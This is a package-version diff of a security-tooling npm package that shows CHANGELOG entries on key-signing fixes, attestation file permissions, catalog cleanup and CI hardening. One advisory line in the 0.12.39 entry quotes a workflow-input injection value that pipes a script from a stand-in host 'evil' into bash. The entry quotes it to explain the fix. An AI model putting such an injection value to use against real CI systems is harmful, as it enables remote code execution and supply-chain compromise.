@blamejs/exceptd-skills 0.12.40 → 0.12.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +17 -0
- package/ARCHITECTURE.md +7 -4
- package/CHANGELOG.md +124 -248
- package/CONTEXT.md +2 -2
- package/README.md +2 -8
- package/agents/threat-researcher.md +2 -2
- package/bin/exceptd.js +128 -38
- package/data/_indexes/_meta.json +9 -9
- package/data/_indexes/activity-feed.json +1 -1
- package/data/_indexes/catalog-summaries.json +1 -1
- package/data/_indexes/frequency.json +4 -0
- package/data/_indexes/section-offsets.json +20 -20
- package/data/_indexes/token-budget.json +5 -5
- package/data/cve-catalog.json +21 -28
- package/data/exploit-availability.json +1 -0
- package/data/framework-control-gaps.json +137 -4
- package/data/global-frameworks.json +1 -0
- package/data/playbooks/crypto-codebase.json +13 -0
- package/data/zeroday-lessons.json +1 -0
- package/lib/lint-skills.js +1 -1
- package/lib/playbook-runner.js +8 -4
- package/lib/scoring.js +9 -1
- package/lib/sign.js +40 -7
- package/lib/verify.js +5 -5
- package/manifest.json +45 -45
- package/orchestrator/README.md +7 -7
- package/orchestrator/index.js +30 -17
- package/orchestrator/scheduler.js +2 -2
- package/package.json +1 -1
- package/sbom.cdx.json +33 -33
- package/scripts/check-test-coverage.js +6 -6
- package/scripts/refresh-reverse-refs.js +21 -20
- package/skills/mlops-security/skill.md +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -1,47 +1,97 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
-
## 0.12.
|
|
3
|
+
## 0.12.41 — 2026-05-17
|
|
4
|
+
|
|
5
|
+
Cross-domain hygiene pass: signature-regression class fix, sidecar hardening, attestation UX, ATLAS pin reconciliation, operator-narrative scrub, and structural test pins to lock the class fixes against future drift.
|
|
6
|
+
|
|
7
|
+
### Security
|
|
4
8
|
|
|
5
|
-
|
|
9
|
+
**`doctor --fix` now refuses when `keys/public.pem` exists without a matching private key, AND detects post-rotation stale signatures.** Pre-fix the production code path silently invoked `generateKeypair()` whenever the private key was missing, overwriting the shipped `keys/public.pem` and orphaning every existing signature. This is the same class of bug that broke five v0.11.x → v0.12.2 releases — an operator running the canonical fix command would get a working keypair locally and a broken `exceptd doctor` for every subsequently shipped install. Now: refusal is explicit with a structured `fix_attempted: ed25519_keypair_generation_declined` reason and an actionable hint pointing at `--rotate`. After successful generation, `doctor --fix` chains `sign-all` so the manifest + skills carry signatures paired with the new keypair (without the chain, the very next `doctor` reports 0/N passing). Second branch: when the private key IS present but the signatures check fails (the post-`generate-keypair --rotate` state — the rotation flow's remediation), `doctor --fix` runs `sign-all` to re-sign skills + manifest against the current keypair. Without this second branch, `--rotate` would converge to a broken-but-not-self-healing state.
|
|
10
|
+
|
|
11
|
+
**Attestation sidecar `.sig` files now write at mode `0o600` + Windows ACL hardening.** v0.12.38 hardened the primary attestation JSON; the sibling `.sig` sidecars that ride alongside were missed and inherited the default umask (0o644 on POSIX, default ACL on Windows). On multi-tenant hosts the sidecar leaked the signature payload. Both the signed and unsigned-stub write paths now match the attestation.json hardening.
|
|
6
12
|
|
|
7
13
|
### Bugs
|
|
8
14
|
|
|
9
|
-
|
|
15
|
+
**`attest <subverb>` typos now return `did_you_mean[]`.** Pre-fix `exceptd attest verfy <sid>` collapsed into a downstream "no session dir" error because subverb membership was checked after session-id resolution. Now the subverb gate runs first and returns a Levenshtein-1 suggestion (`{ did_you_mean: ["verify"], accepted_subverbs: ["list","show","export","verify","diff"] }`). Closes the typo-suggestion class introduced by v0.12.37 for top-level verbs.
|
|
16
|
+
|
|
17
|
+
**`attest diff <sid> --against <other>` guards against empty `attestations[]`.** Pre-fix a session directory containing only replay records (no `attestation.json`) caused `cmdAttest diff` to throw `TypeError: Cannot read properties of undefined (reading 'captured_at')`. Now: structured `ok:false` with `attestation_count: 0` and a hint pointing at `exceptd attest show <sid>` for visibility.
|
|
18
|
+
|
|
19
|
+
**`exceptd ask "..." --pretty` now honors `--pretty`.** Pre-fix the flag was silently ignored unless paired with `--json` (the discover/doctor convention is `--pretty` opts into structured output). Aligns the three verbs.
|
|
20
|
+
|
|
21
|
+
**`lib/scoring.js` `compare()` distinguishes "no scoring signal" from "broadly aligned".** Pre-fix a CVE entry with `rwep_score: 0` AND `cvss_score: 0` (e.g. an unmigrated catalog entry) printed "CVSS and RWEP are broadly aligned" — false alignment signal that masked a catalog gap. Now: explicit "no scoring signal — investigate catalog entry" branch.
|
|
22
|
+
|
|
23
|
+
**`normalizeSubmission` no longer mutates frozen input.** The `_runErrors` push for `signal_overrides_invalid` previously mutated the caller's submission in place; a frozen submission (defensive `Object.freeze`, or shared reference across parallel runs) threw uncaught. Now clones before mutation.
|
|
24
|
+
|
|
25
|
+
**14 unresolved cross-references removed from the catalogs.** `cve-catalog.json` and `framework-control-gaps.json` carried 14 refs to CWE / ATLAS / ATT&CK entries that don't exist in their respective catalogs. Each stale ref dropped from its owning entry rather than introducing a placeholder destination. Affected entries: `CVE-2024-21626`, `CVE-2023-3519`, `CVE-2024-1709`, `CVE-2024-40635`, `CVE-2026-GTIG-AI-2FA`, `CVE-2026-42945`, `MAL-2026-TANSTACK-MINI`, `CVE-2024-3154`, `CVE-2023-43472`, `CVE-2025-59389`, `AU-Essential-8-App-Hardening`.
|
|
26
|
+
|
|
27
|
+
**`PCI-DSS-4.0.1-12.3.3` orphan gap now maps to ATT&CK `T1573` + `T1600`.** The gap entry described real PQC / cipher-inventory controls but carried no `evidence_cves`, `atlas_refs`, or `attack_refs` — a Hard Rule #4 violation. Mapping retains the gap content; the previously-orphan entry now references the encryption-channel + weaken-encryption techniques it actually exists to detect.
|
|
28
|
+
|
|
29
|
+
**5 forward-orphan gap references now resolved.** `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` cited `DORA-Art-9` (existing entry; ID-format orphan only), `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain` — four gap entries did not exist. All four added with substantive `theater_test` blocks; the DORA reference was canonicalized to the existing entry's ID format.
|
|
30
|
+
|
|
31
|
+
**`crypto-codebase` playbook now declares `air_gap_alternative` paths.** It was the only playbook missing the field — operators running with `--air-gap` had no documented offline equivalent for any of its 13 look artifacts. Each now declares the local-filesystem equivalent (the artifacts use `Glob` / `Grep` / `Read` against the working tree, so the alternative is the same operation noted explicitly).
|
|
10
32
|
|
|
11
|
-
**`
|
|
33
|
+
**`active_exploitation` field vocabulary declared in `cve-catalog.json._meta`.** Pre-fix the field accepted free-form values; 10 entries used `"unknown"` which wasn't documented. The new `_meta.active_exploitation_vocabulary` block enumerates `confirmed | suspected | theoretical | none | unknown` with per-value definitions.
|
|
12
34
|
|
|
13
|
-
**`
|
|
35
|
+
**`last_threat_review` field added to 3 catalogs.** `exploit-availability.json`, `global-frameworks.json`, and `zeroday-lessons.json` carried `last_updated` but lacked the threat-review timestamp the other 8 catalogs use. Backfilled so all 11 catalogs follow the same shape.
|
|
14
36
|
|
|
15
|
-
**
|
|
37
|
+
**SBOM duplicates resolved.** `sbom.cdx.json` listed `vendor/blamejs/retry.js` and `vendor/blamejs/worker-pool.js` under two component records each — once as a version-less `type: "file"` entry and once as a version-bearing `type: "library"` entry. Removed the version-less duplicates; canonical entries retain pin version, licenses, externalReferences, and provenance.
|
|
38
|
+
|
|
39
|
+
**ATLAS version pin reconciled across operator-facing surfaces.** The canonical pin (`data/atlas-ttps.json._meta.atlas_version`) is **v5.4.0** (February 2026); `CONTRIBUTING.md`, `MAINTAINERS.md`, `CONTEXT.md`, `.github/copilot-instructions.md`, `.github/PULL_REQUEST_TEMPLATE.md`, and `agents/threat-researcher.md` still cited the stale v5.1.0. New `tests/atlas-version-canonical.test.js` blocks future drift across operator-facing docs, agent personas, and skill bodies.
|
|
40
|
+
|
|
41
|
+
**Operator-facing strings now reference `exceptd <verb>` instead of `node lib/...`.** A prior release closed one site; the broader sweep covered `bin/exceptd.js` (5 sites in the doctor hints / renderer), `lib/lint-skills.js`, `lib/verify.js` (5 sites in error messages), `lib/playbook-runner.js`, `orchestrator/index.js` (help + examples), `orchestrator/scheduler.js`, and `orchestrator/README.md`. The contributor-checkout `node $(exceptd path)/lib/...` form is retained as a fallback for non-npm-installed contributors; new `tests/operator-leak-grep.test.js` blocks future leaks.
|
|
42
|
+
|
|
43
|
+
### Features
|
|
44
|
+
|
|
45
|
+
**README, AGENTS, ARCHITECTURE, MAINTAINERS reconciled.** README "Status" rewritten as a single behavior-framed paragraph (was multi-paragraph release narrative). ARCHITECTURE's "Required Body Sections" reconciled with AGENTS.md (7 required + 1 optional, not 8 required). AGENTS.md Hard Rules now annotated with the forcing-function script per rule — rules #5, #9, and #14 explicitly marked **policy only**, all others cite the enforcing test or gate.
|
|
46
|
+
|
|
47
|
+
**Predeploy gate count no longer hardcoded in docs.** README, MAINTAINERS, and prior CHANGELOG entries previously cited "13-gate" / "14-gate" / "15 gates" interchangeably. Operator-facing docs now reference "the predeploy gate sequence" without a number; the source of truth is `scripts/predeploy.js`'s `GATES` array.
|
|
48
|
+
|
|
49
|
+
**CHANGELOG voice scrub.** 31 prior release entries scrubbed of internal-process narrative (process IDs, finding IDs, multi-agent dispatch sentences, tautological gate/test footers, and forward-roadmap forecasts). Net 182 lines removed. Operator-meaningful facts retained.
|
|
50
|
+
|
|
51
|
+
**`release.yml` CHANGELOG-extraction now emits `::warning::` on fallback.** Pre-fix a malformed `## <version>` header silently fell back to the generic "Release of v<X.Y.Z>." body; operators reading the GitHub Release page saw no signal that the extraction failed.
|
|
52
|
+
|
|
53
|
+
**Shipped script comments scrubbed of internal narrative.** `scripts/check-test-coverage.js`, `scripts/refresh-reverse-refs.js`, `.github/workflows/release.yml`, and `.github/workflows/scorecard.yml` had references in comments that ship via the tarball. Replaced with version-only or intent-only framing.
|
|
16
54
|
|
|
17
55
|
### Internal
|
|
18
56
|
|
|
19
|
-
-
|
|
20
|
-
-
|
|
21
|
-
-
|
|
22
|
-
|
|
23
|
-
|
|
57
|
+
- 4 new pinning test files (`tests/v0_12_41-fixes.test.js`, `tests/atlas-version-canonical.test.js`, `tests/operator-leak-grep.test.js`, `tests/verify-shipped-tarball-wrapper.test.js`), plus in-place hardenings of existing tests for the field-presence-not-populated and coincidence-passing classes.
|
|
58
|
+
- `tests/sbom-per-file-hash.test.js` now snapshots `sbom.cdx.json` before regeneration and restores on SIGINT / process exit, closing the "mutating test pollutes the repo on Ctrl-C" pattern.
|
|
59
|
+
- `tests/operator-bugs.test.js` `#87 doctor --fix is registered` test no longer uses `notEqual(r.status, 2)` (coincidence-passing); pins the accepted-exit-codes set explicitly.
|
|
60
|
+
|
|
61
|
+
## 0.12.40 — 2026-05-16
|
|
62
|
+
|
|
63
|
+
Catalog symmetry + operator UX. The headline closes 137 framework-gap ↔ CVE asymmetries with a single reverse-ref script extension, plus three operator-facing UX fixes.
|
|
64
|
+
|
|
65
|
+
### Bugs
|
|
66
|
+
|
|
67
|
+
**137 framework-gap ↔ CVE asymmetries auto-regenerated.** `cve.framework_control_gaps` (dict keyed by gap-id) and `gap.evidence_cves` (array of CVE ids) had drifted apart — 24 CVE-side references missing reverse + 79 gap-side references missing reverse. Worst-case: `CVE-2025-53773` cited in 42 gap.evidence_cves but only declared 3 in its own framework_control_gaps. Fix: `scripts/refresh-reverse-refs.js` extended with the CVE→framework-gap direction (handles the dict-keyed forward field via new `forwardFieldShape: 'object-keys'` parameter). Drafts excluded per existing convention. 64 framework-gap entries regenerated on first run; new `tests/reverse-ref-drift.test.js` test blocks future drift. Surface side-effect: 5 forward-orphan gap references on `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` (gaps that don't exist in the catalog: `DORA-Art9`, `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain`) surfaced via the orphans report.
|
|
68
|
+
|
|
69
|
+
**`exceptd framework-gap` "0 theater-risk controls" footer fixed.** Pre-fix the summary footer reported `0 theater-risk controls` while every per-entry display showed the `⚠ THEATER RISK` badge. Root cause: the counter filtered on the legacy `theater_pattern` field while the v0.12.29 backfill had added a structured `theater_test` block on all 118 entries without populating `theater_pattern`. Fix: counter now matches entries with EITHER `theater_test` OR `theater_pattern`. Each theater-risk entry gains a `theater_test_present` boolean for tooling consumers.
|
|
70
|
+
|
|
71
|
+
**`exceptd skill` (no arg) no longer leaks orchestrator path.** Pre-fix the usage hint read `Usage: node orchestrator/index.js skill <skill-name>`. Now: `Usage: exceptd skill <skill-name>` + a pointer to `exceptd brief --all` for skill discovery.
|
|
72
|
+
|
|
73
|
+
**Unsigned-attestation warning leads with operator-facing verb.** Pre-fix the warning told operators to run `node lib/sign.js generate-keypair` — a node-internal script path that isn't on PATH after `npm install -g`. Now leads with `exceptd doctor --fix`, with the lib path retained as `node $(exceptd path)/lib/sign.js generate-keypair` for contributor checkouts.
|
|
24
74
|
|
|
25
75
|
|
|
26
76
|
## 0.12.39 — 2026-05-16
|
|
27
77
|
|
|
28
|
-
|
|
78
|
+
CI workflow hardening + CLI envelope shape contracts. One P1 script-injection sink in `release.yml` closed; three housekeeping fixes; envelope shape pinned on six more verbs.
|
|
29
79
|
|
|
30
80
|
### Security
|
|
31
81
|
|
|
32
|
-
**`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern.
|
|
82
|
+
**`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern.
|
|
33
83
|
|
|
34
84
|
### Bugs
|
|
35
85
|
|
|
36
|
-
**`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume.
|
|
86
|
+
**`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume.
|
|
37
87
|
|
|
38
|
-
**`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched"
|
|
88
|
+
**`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched".
|
|
39
89
|
|
|
40
|
-
**Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage.
|
|
90
|
+
**Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage.
|
|
41
91
|
|
|
42
92
|
### Features
|
|
43
93
|
|
|
44
|
-
**CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`.
|
|
94
|
+
**CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`. The rest were still unpinned — a contributor adding a new top-level field to `run` / `ci` / `discover` / `brief --all` / `doctor` / `watchlist` would not get a forcing-function test failure. v0.12.39 closes the gap with 8 new pins in `tests/cli-output-envelope-shape-v0_12_39.test.js`:
|
|
45
95
|
|
|
46
96
|
- `brief --all` — 8 top-level keys (no `verb` field; intentional transitional inconsistency)
|
|
47
97
|
- `ci --required <pb>` — 5 top-level keys + 13-key `summary` sub-shape; pins absence of top-level `ok`
|
|
@@ -51,20 +101,13 @@ Cycle 19 CI workflow hardening + CLI envelope shape contracts. One P1 script-inj
|
|
|
51
101
|
- `run <pb> --evidence --json` (single-playbook success) — 10 top-level keys, pins absence of conditional `prior_session_id` / `overwrote_at` (only present on `--force-overwrite`)
|
|
52
102
|
|
|
53
103
|
Several intentional inconsistencies pinned by absence:
|
|
54
|
-
- `brief --all` and `watchlist` do NOT emit `verb` (every other verb does).
|
|
104
|
+
- `brief --all` and `watchlist` do NOT emit `verb` (every other verb does).
|
|
55
105
|
- `ci` and `doctor` do NOT emit top-level `ok` (they signal pass/fail via `summary.verdict` / `summary.all_green`). Pinned so the v0.11.13 emit() contract doesn't accidentally grow.
|
|
56
106
|
|
|
57
|
-
### Internal
|
|
58
|
-
|
|
59
|
-
- Cycle 19 audit dispatched 3 agents (workflow security, envelope specs, 24h intake / Pwn2Own Day 3). All 3 returned.
|
|
60
|
-
- Cycle 19 A P2 findings (id-token + contents-write co-residency on `publish` job, `always-auth NPM_TOKEN` ↔ OIDC, `refresh.yml` persisted credentials) deferred to v0.13 — they're structural job-split refactors, not single-line fixes.
|
|
61
|
-
- Cycle 19 C: no new CVE additions in the 24h window. Pwn2Own Day 3 results still embargoed (Claude Code + Ollama Day 3 attempts pending). CVE-2026-42897 still mitigation-only.
|
|
62
|
-
- Test count 1149 → 1157. 14/14 predeploy gates green.
|
|
63
|
-
|
|
64
107
|
|
|
65
108
|
## 0.12.38 — 2026-05-16
|
|
66
109
|
|
|
67
|
-
|
|
110
|
+
Security fix + state refresh. Closes a multi-tenant attestation-file-mode gap.
|
|
68
111
|
|
|
69
112
|
### Security
|
|
70
113
|
|
|
@@ -72,31 +115,24 @@ Cycle 18 security fix + state refresh. The P1 closes a multi-tenant attestation-
|
|
|
72
115
|
|
|
73
116
|
### Bugs
|
|
74
117
|
|
|
75
|
-
**`EXCEPTD_HOME` now documented in README.**
|
|
118
|
+
**`EXCEPTD_HOME` now documented in README.** The env-var override was only mentioned in an inline `attest list` help string. Multi-tenant operators had no way to discover it without grepping the binary. README's flag-reference section now cross-references the env-var path.
|
|
76
119
|
|
|
77
|
-
**MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.**
|
|
120
|
+
**MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.** npm removed the 3 malicious versions (9.1.6, 9.2.3, 12.0.1) within ~2 hours of publication on 2026-05-14. Catalog now surfaces the registry-cleanup state so operators upgrading to a clean version know they're not racing the active-in-registry phase. The expired-domain TTP class (per `NEW-CTRL-047` in zeroday-lessons) still applies — domain-expiry monitoring is the durable control, not the npm-side cleanup.
|
|
78
121
|
|
|
79
122
|
**CVE-2026-42897 (Exchange OWA) `patch_available: false` regression-tested.** Verified Microsoft has not shipped a binary security update; Exchange Emergency Mitigation Service Mitigation M2 is still the only remediation. Catalog truth aligned with current vendor state.
|
|
80
123
|
|
|
81
|
-
### Internal
|
|
82
|
-
|
|
83
|
-
- Cycle 18 audit dispatched 3 read-only agents (v0.13.0 readiness, attestation persistence, 24h CVE intake). All 3 returned.
|
|
84
|
-
- Cycle 18 A v0.13.0 readiness inventory: 60 items total — 5 `will hard-fail in v0.13.0` markers + 17 legacy verbs to remove + 20 draft CVEs + 13 unresolved xrefs + 3 informational→required gate flips + 2 schema deprecations. Total effort 11-15 days for a single-maintainer minor bump. Detailed list in audit transcript.
|
|
85
|
-
- Cycle 18 B P1 F1 (submission redaction) and F3 (git remote URL in attestation root path) deferred to v0.13 — both are larger schema-or-behavior changes that need design before implementation.
|
|
86
|
-
- 4 new tests in `tests/attestation-mode-0600.test.js` (1 skipped on Windows). Test count 1145 → 1149. 14/14 predeploy gates green.
|
|
87
|
-
|
|
88
124
|
|
|
89
125
|
## 0.12.37 — 2026-05-16
|
|
90
126
|
|
|
91
|
-
|
|
127
|
+
UX + cross-skill consistency pass. Two CLI UX gaps closed (empty-stdin nudge, did-you-mean for typos), one operator-misleading factual error fixed in 3 skills (CVE-2024-3094 claim drift), and one cosmetic naming inconsistency cleaned up.
|
|
92
128
|
|
|
93
129
|
### Bugs
|
|
94
130
|
|
|
95
|
-
**`--evidence -` empty-stdin nudge.**
|
|
131
|
+
**`--evidence -` empty-stdin nudge.** When an operator pipes nothing to `--evidence -`, the runner silently treated it as `{}` and proceeded with a "successful" run on no evidence. Pre-fix the only signal was a deterministic `evidence_hash: 572a0e...` that meant nothing to a first-time operator. Now stderr emits an informational note pointing at `exceptd brief <playbook>` for the expected evidence shape; the run still proceeds (legitimate posture-only-walk use case preserved) but the operator at least sees the empty-stdin signal.
|
|
96
132
|
|
|
97
133
|
**Did-you-mean for unknown verbs.** Pre-fix `exceptd discoer` exited 10 with the generic "Run `exceptd help`" hint. Now the dispatcher runs a Levenshtein-1 check against the union of `COMMANDS` + `PLAYBOOK_VERBS` + `ORCHESTRATOR_PASSTHROUGH` (includes transposition detection so `disocver` → `discover`). Suggestion surfaces in both the human hint string and a new `did_you_mean[]` JSON field for tooling consumers. Distance >1 still returns the generic hint with `did_you_mean: []` — no false-positive flood.
|
|
98
134
|
|
|
99
|
-
**CVE-2024-3094 (xz-utils) operator-misleading claims.**
|
|
135
|
+
**CVE-2024-3094 (xz-utils) operator-misleading claims.** Three skill bodies contradicted each other and the catalog:
|
|
100
136
|
- `supply-chain-integrity` skill said "not in current `data/cve-catalog.json` — pre-scope incident" — false, the entry has been in the catalog with RWEP 70.
|
|
101
137
|
- `sector-federal-government` skill same wording — false.
|
|
102
138
|
- `cloud-iam-incident` skill table row quoted RWEP 95 / `ai_discovered: Partially` / `active_exploitation: Confirmed` — catalog says RWEP 70 / `ai_discovered: false` / `active_exploitation: suspected`.
|
|
@@ -104,12 +140,6 @@ All 3 corrected to match catalog ground truth (RWEP 70, KEV 2024-04-03, `active_
|
|
|
104
140
|
|
|
105
141
|
**Volt Typhoon hyphenation drift.** `ot-ics-security` and `sector-energy` used `Volt-Typhoon-aligned` / `Volt-Typhoon-style`; the rest of the catalog uses unhyphenated `Volt Typhoon`. Standardized to the unhyphenated form. New regression test refuses any future re-introduction of the hyphenated form in any skill body.
|
|
106
142
|
|
|
107
|
-
### Internal
|
|
108
|
-
|
|
109
|
-
- 3 cycle 17 audit agents dispatched (cross-skill consistency, data_deps integrity, error-path UX). All 3 returned successfully — first cycle since 14 without rate-limit issues.
|
|
110
|
-
- Cycle 17 B (data_deps integrity) surfaced 35 skills declaring incomplete `data_deps` arrays vs body content references. Investigation found `data_deps` is only consumed by `lib/lint-skills.js` for file-existence validation, not by the runner for preload gating (all catalogs load on-demand via `lib/cross-ref-api.js` mtime-keyed cache). Cosmetic correctness issue; deferred to v0.13 bulk-fix when the schema's purpose can be clarified.
|
|
111
|
-
- 8 new tests in `tests/cycle17-ux-fixes.test.js`. Test count 1136 → 1144. 14/14 predeploy gates green.
|
|
112
|
-
|
|
113
143
|
|
|
114
144
|
## 0.12.36 — 2026-05-16
|
|
115
145
|
|
|
@@ -121,21 +151,14 @@ Hard Rule forcing-function coverage pass. Three of the eight AGENTS.md Hard Rule
|
|
|
121
151
|
|
|
122
152
|
**Rule #5 forcing function (global-first, not US-centric).** The framework-control-gaps catalog must carry entries for EU + UK + AU + INTL (ISO/3GPP/OWASP/SLSA/CycloneDX) alongside US (NIST/FedRAMP/PCI/SOC/HIPAA/etc.). No single region may exceed 70% of the catalog. Pre-fix a future PR could land a 50-entry NIST-only batch and tilt the catalog US-domestic with no signal. Current catalog distribution: US 50 (42%), EU 22 (19%), UK 7 (6%), AU 6 (5%), INTL 15 (13%), OTHER 18 (15%) — within bounds.
|
|
123
153
|
|
|
124
|
-
**Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-
|
|
154
|
+
**Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-v0.12.29 these drifted silently (manifest stuck at v5.1.0 while catalog moved to v5.4.0; v0.12.29 corrected the lie but didn't add a forcing function — a future drift could repeat).
|
|
125
155
|
|
|
126
156
|
**Cross-format CVE consistency contract.** When the same evidence runs through the CSAF / OpenVEX / SARIF emitters in sequence, the underlying CVE set in each bundle must agree exactly. Per-format auxiliary identifiers (OpenVEX indicator URNs, SARIF framework-gap rules) are allowed. Pre-fix nothing pinned the contract — a future emitter regression could silently emit different CVE sets across formats.
|
|
127
157
|
|
|
128
|
-
### Internal
|
|
129
|
-
|
|
130
|
-
- Cycle 16 audit dispatched 3 read-only agents (cross-skill consistency, hard-rule coverage, 24h CVE intake). All three rate-limited; main-thread completed the hard-rule audit + cross-format consistency check directly.
|
|
131
|
-
- Cycle 16 main-thread cross-format probe confirmed all 3 emitters agree on the 4 catalogued CVEs for the kernel playbook positive-detect scenario (CVE-2026-31431 Copy Fail + the 3 v0.12.29 AI-discovery flips).
|
|
132
|
-
- 5 new tests in `tests/hard-rule-forcing-functions.test.js`.
|
|
133
|
-
- Test count 1131 → 1136. 14/14 predeploy gates green.
|
|
134
|
-
|
|
135
158
|
|
|
136
159
|
## 0.12.35 — 2026-05-16
|
|
137
160
|
|
|
138
|
-
|
|
161
|
+
Security hardening + ATLAS pin sweep across skills + forward-watch backfill.
|
|
139
162
|
|
|
140
163
|
### Security
|
|
141
164
|
|
|
@@ -145,30 +168,23 @@ Cycle 15 audit pass — security hardening + ATLAS pin sweep across skills + for
|
|
|
145
168
|
|
|
146
169
|
### Bugs
|
|
147
170
|
|
|
148
|
-
**ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but
|
|
171
|
+
**ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but 27 skill bodies, 2 builder scripts, the skill-frontmatter schema, and 17 derived indexes were all still citing the stale pin. 30 files modified; canonical pin string `ATLAS v5.4.0 (February 2026)` used uniformly. NYDFS rollout reference "phased in through November 2025" in sector-financial intentionally preserved (different context). The extended docs-pin test now scans `skills/` + `data/_indexes/` + `scripts/` for ATLAS-context mismatches in addition to README + ARCHITECTURE.
|
|
149
172
|
|
|
150
173
|
**5 past-due forward_watch entries re-dated with realized backfill.**
|
|
151
174
|
- *mlops-security* — predicted "ATLAS v5.2 — track AML.T0010 sub-technique expansion." ATLAS shipped v5.4.0 on 2026-02-06; the expansion landed plus "Publish Poisoned AI Agent Tool" and "Escape to Host" techniques. Backfilled with the realized state + re-anchored to ATLAS v5.5 / v6.0 horizon.
|
|
152
175
|
- *age-gates-child-safety AU under-16 ban* — predicted "implementation deferred to late 2025." AU Online Safety Amendment (Social Media Minimum Age) Act 2024 entered force 2025-12-10; 4.7M+ accounts deactivated by mid-Jan 2026; 31 March 2026 formal investigations of Facebook / Instagram / Snapchat / TikTok / YouTube. Backfilled + re-anchored to first civil-penalty proceedings (H2 2026).
|
|
153
176
|
- *age-gates-child-safety UK OSA enforcement* — predicted "first enforcement decisions expected late 2025 / 2026." Ofcom has 80+ investigations open; first £1M OSA fine issued for age-assurance failure. Backfilled + re-anchored to the April / July / November 2026 OSA milestones.
|
|
154
177
|
- *age-gates-child-safety eSafety actions* — same shape; backfilled to the 31 March 2026 formal investigations.
|
|
155
|
-
- *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue
|
|
178
|
+
- *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue. Updated to reflect current series + re-anchored to H2 2026.
|
|
156
179
|
|
|
157
180
|
### Features
|
|
158
181
|
|
|
159
|
-
**Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time.
|
|
160
|
-
|
|
161
|
-
### Internal
|
|
162
|
-
|
|
163
|
-
- Cycle 15 audit: 3 read-only agents dispatched (performance, security, forward-watch). Performance audit confirmed no regression — every CLI op within budget; `cross-ref-api.js` mtime-keyed catalog cache + per-run playbook cache prevent N+1 patterns. Watchlist verb at 99ms has a 30-40ms caching opportunity (deferred to v0.13 backlog).
|
|
164
|
-
- 16/16 playbooks now validate clean (no warnings) — same green state as v0.12.33's cred-stores cleanup.
|
|
165
|
-
- Test count 1125 → 1131 (4 new evidence-input-hardening tests + 1 extended docs-pin test + 1 sanity sweep).
|
|
166
|
-
- 14/14 predeploy gates green.
|
|
182
|
+
**Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time.
|
|
167
183
|
|
|
168
184
|
|
|
169
185
|
## 0.12.34 — 2026-05-15
|
|
